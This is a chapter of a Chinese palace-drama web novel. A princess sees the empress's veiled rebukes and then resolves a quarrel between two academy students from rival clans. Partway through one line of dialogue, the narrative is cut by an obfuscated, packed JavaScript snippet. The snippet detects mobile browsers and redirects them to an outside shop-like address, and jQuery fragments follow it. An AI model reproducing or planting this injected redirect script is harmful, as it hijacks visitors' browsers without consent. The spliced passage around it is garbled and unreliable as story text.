“母后……对不起。”赵陌咬紧牙关,半天才憋出这么一句来。
“你该和你八弟说对不起,知道吗?叙儿每天尽心尽力帮你父皇研究兵器,偶尔出点差错,这有什么问题?小题大做,娇生惯养!叙儿快起,别搭理你太子哥哥。”
皇后语毕,没再管面前两个一跪一站的小人。头高高扬着,略了过去。
赵昭把嘴凑到曦姐姐耳边,垂袖遮脸,装作打喷嚏“啊啾”一声,低声学道:“小题大做~娇生惯养~”
曦姐姐抬腿,微不可察地踢了一下赵昭。
“曦儿、昭儿,有段日子没见了。你们应该多叫明妃妹妹过来,和我聊聊天解解闷呀。”皇后在自己的榻上坐下,笑吟吟甜声说。
明妃,就是赵昭和赵曦的母妃。
皇后大名叫独孤青云,是独孤氏本家次女,地位极其尊贵。她们的母妃独孤绯照,则是拐了七八个弯,勉强和皇后沾上边的亲戚。
“母妃心里自然是惦记母后的。刚才我和昭儿回宫,她还让我们把这个给您。”
赵曦说着,让身边宫人递上了一卷画卷,小心展开。
“所用笔墨是您上次送给母妃的。她知道您喜欢狩猎,近来也快举办南芜春蒐了,就为您画此‘芳苑驰猎图’,望您能箭无虚发,驰猎如意。”
赵昭强压下嘴角,才管理住表情。
她当然知道,所谓芳苑驰猎图,是母妃每五十笔一白眼的大作。此画,承载了母妃足足八百个白眼。
曦姐姐怎么做到这么淡定,说得冠冕堂皇的!
不管过程怎样,马屁拍对了地方。母妃画工极好,皇后本来只是客气,听说明妹妹给她画了画后,眼里发光。看到内容,更是笑得灿烂。
“画得真好,寓意也好,不愧是明妃妹妹,替我谢过她。”
皇后示意宫人把画拿下去,看向曦姐姐:“曦儿,最近和季琅公子可还好?他听不听你的话?”
季琅是现今吏部侍郎的儿子,也是曦姐姐的驸马。算来,还要比她小上一岁。
曦姐姐闻言一愣,随后轻笑。“好得很,他从没越过规矩。多谢母后关心。”
“若他胆敢薄待你,你就告诉母后,听母后敲打敲打他。做了明妃妹妹的女儿,就该有独孤家的人撑腰。”
皇后说着,看赵曦仪容齐整挑不出什么毛病,就顺手帮赵昭捋了捋她的乱发。
“昭儿明年也要出宫开府了吧,可有如意郎君?”
赵昭想起国子监里那帮监生,撇撇嘴:“暂时还没有,许多不大对我胃口的。”
“是,外面那些毛头小子越来越不行了,不过世家中也有不少不错的小公子。我帮你和你父皇把把关,你大可放心。”
赵昭早已被碰起一身鸡皮疙瘩,敷衍应道:“如此多谢母后啦!”
皇后转过身,对赵陌说:“你,和曦儿昭儿好好的,去国子监要认真上课,不要找事。叙儿,你还是骑你那匹马。”
一切都安排好了,皇后吩咐给赵昭赵曦的良驹也已经备好。四人都出了长乐宫,各走各的。
赵昭本来不情不愿。她受不了赵陌这个太子一天到晚端着架子作威作福。可是刚才看到他挨训,一边幸灾乐祸,一边又有点同情之意。
毕竟这次赵陌的确是苦主,反而落得一身骂。他比赵昭小三岁,这个年纪应当是很在意脸面的,实在有些可怜。
于是她稍微抬眼,想偷看赵陌什么表情,安慰安慰他。谁知道两人竟然对视了。
不光对视了,在视线接触到的一瞬间,赵陌眼神中又重新流露出嫌弃和无语,立马别过头,翻身上马,扬长而去。
“……”
可恶,活该被骂!怎么对自己六姐这个样子,太子就了不起吗?!
赵昭愤愤在心里记上一笔。如果要她当皇帝,第一件事就是把这个赵陌发配到边疆,让他滚远点,别在自己眼前晃来晃去!
——突然,她又发现了一件很奇怪的事。
平时看到自己这样张牙舞爪必会来劝的曦姐姐,此时竟然十分安静。没有缓解和赵陌之间的气氛,也没有顺她的毛。
她上马,嘴附到曦姐姐耳侧:“别发呆了,喂,母妃杀来问罪了,曦姐姐你偷偷帮那帮小崽子扎风筝的事情暴露了。”
“什么?!不是说了会保密的吗?不过你小小年纪装什么大人,还‘小崽子’,那应该是我叫的……”
此招果然有效。一向安稳的曦姐姐居然差点从马上摔下去,左右张望起来。
“哎呀呀呀,在吓唬你呢!你年纪很大吗,急什么?不这么说,你都不理我。在想什么?”赵昭赶紧拉住她的手。
曦姐姐压低声音:“你还在宫里不知道。工部一个郎中传错了意思,成品出了点问题。八弟就训斥他,骂得挺狠的。但是,那人是母后表弟。”
“我的妈,所以她刚才骂赵陌的那话其实是在说八弟……?!”
看到曦姐姐点头,赵昭不自觉想起刚才赵叙的表现。皇后训话时,他把手背在身后,还在偷偷玩鲁班锁。
……显然根本没有听懂皇后在说什么。
皇后惯用阴阳术,表面姐姐妹妹一套,各种芳儿爱儿丽儿一套,叫得亲热,实际总在暗中戳一下人。其中,离她最近的明妃深受其害。
然而这种手段,在八弟面前,根本就是一拳打在棉花上。同时,还打击了一顿太子。
赵昭想起了她看的话本《银鸢泪》第一卷,那个把自己十几岁的公主嫁给六十岁老将军的王后。
同样都是在委屈孩子,达成自己的目的!
过分!
“你也别对母后偏见太大。她关心你我,未必是假的。”曦姐姐看赵昭越来越忿忿不平的表情,无奈道。
“曦姐姐你就周全吧。你不在的这两年,她怎么对母妃的,我都看在眼里。”赵昭两根手指指向双眼。
“怎么就是周全了呢?算了算了,和你说不明白。”
两人不再多言语,各自“驾驾”着骑马奔去。
直到熟悉的“集贤门”越来越近,曦姐姐道:“好了,到了,你下去吧。专心上课,少看点闲书。”
被曦姐姐毫不留情赶走后,赵昭下马朝她做了个鬼脸,跑向国子监。
春分刚过,桃花盛开。微风吹起垂柳,带着浅粉花瓣与香气一同飘扬在街上,一片风和日丽。
顺着集贤门后的红墙走,路上众多监生奔走,见到赵昭都会叫声“六公主”,有的还会道声早安,再各忙各的去。
然而在赵昭满怀愉悦踏入国子监门槛的那一刻,左边飞来一本书正中她的脑门。
她刚要开口,右边又飘来几张纸糊住了她的嘴。
抬头一看,两个监生正被旁人拉着,气急败坏,只能见到什么扔什么,手里卷轴书籍洒了一地,打得有来有回。
“给你脸你不要,叫你不要说你还说!我从未在意过你出自什么门第,把你当兄弟,怎么偏你轻贱我们公子!”
“只是玩笑,你那么认真做什么?!
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522302|203347||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
再说了,难道我说的不对吗?让你家公子春蒐,只怕弓都举不起来!”
“你、你——!欺人太甚!”
像是没看到她似的,又有一个卷轴砸进赵昭怀里。展开一看,是幅被横七竖八画了圆圈横杠的国子监先生画像。
旁边还写有小字,“叫什么?”“老正经萌萌汪,哈哈”“哈哈,可以”。核对一番,正是在吵架的那两个监生的字迹。
赵昭好奇心起。平日里称兄道弟处得好好的,怎地突然吵起来?
“六公主来了,独孤,阿燕,你们别吵了!”
看清来人是赵昭后,骚动噪声逐渐小了下来。旁人叫了他二人的姓氏后,赵昭瞬间明白了七八分来龙去脉。
只不过,还有两三分是不懂的。
赵昭问道:“你们不是口口声声说,老一辈人的恩怨与小一辈人无关吗?怎么现在掐得这么狠,阿燕你家公子怎么了?”
“今年春蒐,我家公子要参加。”
被唤作“阿燕”的少年咬牙切齿回道:“可是独孤这厮……他说我家文官世家,去那连马都骑不明白,遑论狩猎,说不定会自己一头撞上他家小姐的马,最后栽下来!”
旁人许多闻言,想笑又不敢笑,只是捂着嘴低着头。
赵昭看当下这场景,就自己能说上两句调解调解了。于是严肃看向“独孤”:“你真这么说的?”
他知道六公主母家是独孤氏的,求助般点点头应道:“是。我们几人聊天,我想解解闷。谁料到他突然出现,来这里吆五喝六的。”
“你与那燕公子有仇?他待你不好?”
“那倒没有……”
赵昭心中已经有了判断:“那这的确是你的不对。”
众人闻言,全部噤声。独孤听赵昭这样说,表情一下僵住。
“你连人家面都没见过,就在背后编排人。万一他是身宽体阔的骑射将军,不过深藏不露呢?春蒐让你一箭,你多尴尬?”
阿燕赶紧帮腔:“就是!就是!你怎知道我家公子不行了?不过,倒也没有那么精壮……”
赵昭手指一伸捏住他嘴唇,继续道:“但你也没撒谎否认,起码态度挺端正。你和阿燕做了这么久的朋友,对他尊重之人嘴下留情又如何?这样,你先给阿燕道歉,再给燕公子道歉。如此可接受?”
独孤本就知道自己理亏,只是嘴硬。现在赵昭提到他与阿燕的情谊,赶紧顺着台阶下:“……对不住,我不该取笑你家公子。”
阿燕堵在胸口的一口气已经消了大半,摇摇手:“罢了罢了,日后对公子尊重点。反正他也不在这里,听不到。”
赵昭本想进入堂里上课去,听说议论中心的“燕公子”不在场,不由得又转头问:“燕公子不在?莫不是我想的那位?”
“就是一年到头见不到几次的那位燕公子。”一旁的监生答道。
这倒真是奇了。
赵昭知道这人叫“燕怀珏”,体弱非常。他凭着家中关系,作为荫生进了国子监,却总神龙见首不见尾。
她这四年来断断续续地来监里,竟然从来没见过他哪怕一面。
朝堂中,独孤氏与燕氏争锋相对许久,朝中常称“有独孤则无燕”。独孤将军自从来京中做都督佥事,凡是狩猎活动就必须要参与。
景乾帝体谅燕氏,也怕两家真打起来,就总为他们找理由不用管这类活动。
原本燕家人参加此次南芜春蒐就属新鲜事了。燕怀珏这样一个人要出面,更是奇事一桩。